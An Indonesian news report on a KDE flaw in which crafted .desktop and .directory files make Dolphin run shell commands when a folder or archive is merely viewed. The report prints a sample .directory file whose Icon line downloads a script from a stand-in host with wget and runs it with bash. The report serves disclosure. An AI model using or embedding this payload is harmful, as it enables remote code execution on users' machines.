Kerentanan eksekusi kode KDE saat melihat daftar file

Di KDE diidentifikasi kerentanan, yang memungkinkan penyerang menjalankan perintah sewenang-wenang saat pengguna melihat direktori atau arsip berisi file “.desktop” dan “.directory” yang dirancang khusus. Serangan mengharuskan pengguna hanya melihat daftar file di pengelola file Dolphin, mengunduh file desktop berbahaya, atau menyeret pintasan ke desktop atau ke dalam dokumen. Masalahnya muncul pada rilis perpustakaan saat ini Kerangka Kerja KDE 5.60.0 dan versi yang lebih lama, hingga KDE 4. Masih ada kerentanan tetap tidak dikoreksi (CVE tidak ditetapkan).

Masalahnya disebabkan oleh implementasi kelas KDesktopFile yang salah, yang, ketika memproses variabel "Ikon", tanpa pelolosan yang tepat, meneruskan nilai ke fungsi KConfigPrivate::expandString(), yang melakukan perluasan karakter khusus shell, termasuk pemrosesan string “$(..)” sebagai perintah yang akan dieksekusi. Bertentangan dengan persyaratan spesifikasi XDG, implementasi penyingkapan konstruksi shell diproduksi tanpa memisahkan jenis pengaturan, mis. tidak hanya saat menentukan baris perintah aplikasi yang akan diluncurkan, tetapi juga saat menentukan ikon yang ditampilkan secara default.

Misalnya untuk menyerang cukup kirimkan arsip zip kepada pengguna dengan direktori yang berisi file ".directory" seperti:

[Entri Desktop] Tipe=Direktori
Ikon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Saat Anda mencoba melihat isi arsip di pengelola file Dolphin, skrip https://example.com/FILENAME.sh akan diunduh dan dijalankan.

Sumber: opennet.ru